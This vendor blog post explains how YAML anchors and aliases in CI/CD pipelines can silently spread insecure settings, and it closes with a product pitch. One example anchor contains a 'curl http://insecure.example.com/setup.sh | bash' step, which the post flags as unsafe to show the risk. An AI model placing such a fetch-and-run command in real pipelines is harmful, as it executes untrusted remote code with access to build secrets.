yaml anchors and aliases - anchors yaml

YAML Anchors and Aliases: The Overlooked Attack Surface in CI/CD

How YAML anchors and aliases Work in CI/CD Pipelines

YAML anchors and aliases are powerful tools for keeping CI/CD pipeline definitions DRY (Don’t Repeat Yourself). Anchors define reusable blocks (&anchor), and aliases (*alias) copy their content wherever referenced. This works across popular platforms like GitHub Actions, GitLab CI, and CircleCI.

Here’s a simple example:

.defaults: &defaults
image: node:18
before_script:
- npm install

job1:
<<: *defaults
script:
- npm run test

job2:
<<: *defaults
script:
- npm run build

⚠️ Insecure example, do not use in production

While anchors YAML patterns like this improve maintainability, they can also abstract away important context. In CI/CD, where configuration is code, YAML anchors and aliases can silently propagate insecure defaults, without devs realizing what’s inherited.

Security Risks Hidden in Anchors YAML Structures

The issue with them isn’t the syntax, it’s how they’re used (or misused). Security settings like overly broad permissions, skipped validations, or hardcoded secrets can be baked into an anchor and reused everywhere.

Example:

.unsafe: &unsafe
script:
- curl http://insecure.example.com/setup.sh | bash
rules:
- when: always

job-dev:
<<: *unsafe

job-prod:
<<: *unsafe

This anchor (&unsafe) contains an insecure curl | bash pattern that gets injected into multiple jobs. If even one job should’ve had a different validation or secret handling, it’s now compromised. Anchors’ YAML structures make it easy to miss that mistake during reviews.

How Misconfigured YAML Anchor Leads to Supply Chain Exposure

A single misconfigured YAML anchor can cascade insecure logic across multiple pipelines. When aliases are used without clear documentation or visibility, it’s easy to inherit dangerous behaviors unintentionally.

Consider this scenario:

  • A .ci-templates repo defines shared anchors for build, deploy, and test.
  • Projects across multiple teams use <<: *build-stage without reviewing its contents.
  • Later, someone modifies the anchor to skip signature verification for dependencies.

Now every consuming pipeline inherits this insecure logic. This is a classic software supply chain risk: insecure templates silently replicated via YAML anchors and aliases.

These kinds of vulnerabilities aren’t always caught in traditional code reviews. Anchors YAML abuse hides behind aliasing, making CI/CD logic non-transparent.

Detecting and Preventing Insecure Usage of Anchors

To reduce risks from YAML anchors, implement validation at multiple levels:

  • CI/CD Linters: Use YAML-aware linters that expand YAML anchors and aliases before analyzing. Example: actionlint for GitHub Actions or custom linters for GitLab.
  • Configuration scanning tools: Use tools capable of parsing and analyzing YAML logic to detect high-risk patterns.
  • Review diffs post-expansion: Some platforms allow viewing the compiled pipeline. Always review the expanded YAML, not just the source file.
  • Guardrails: Set up policies to block unsafe configurations like unrestricted shell commands or unvalidated script downloads.

Securing Anchors YAML in DevSecOps Pipelines

Best practices for secure use of anchors and aliases include:

  • Keep anchors minimal: Avoid stuffing too many responsibilities into a single anchor. Split logic into separate, clearly named anchors.
  • Use explicit job definitions where security boundaries matter, especially between dev and prod stages.
  • Avoid reusing anchors across environments unless necessary. Define separate anchors for dev, staging, and prod.
  • Scan templates and inheritance chains in centralized CI/CD config repositories.

Never embed secrets into an anchor. Always fetch them securely.

Conclusion

YAML anchors and aliases are powerful productivity boosters, but when poorly managed, they become a direct supply chain risk. They can silently propagate insecure defaults, weaken stage isolation, and obscure critical logic in your CI/CD pipelines.

To secure pipelines built on YAML anchor structures, enforce visibility, limit anchor reuse, and treat CI/CD configs with the same scrutiny as application code. Misused anchors aren’t just a style issue; they’re an attack surface. Tools like Xygeni can detect misused anchors, block unsafe patterns, and give teams full visibility into inherited CI/CD logic, before insecure code reaches production.

sca-tools-software-composition-analysis-tools
Prioritize, remediate, and secure your software risks
7-day free trial
No credit card required

Secure your Software Development and Delivery

with Xygeni Product Suite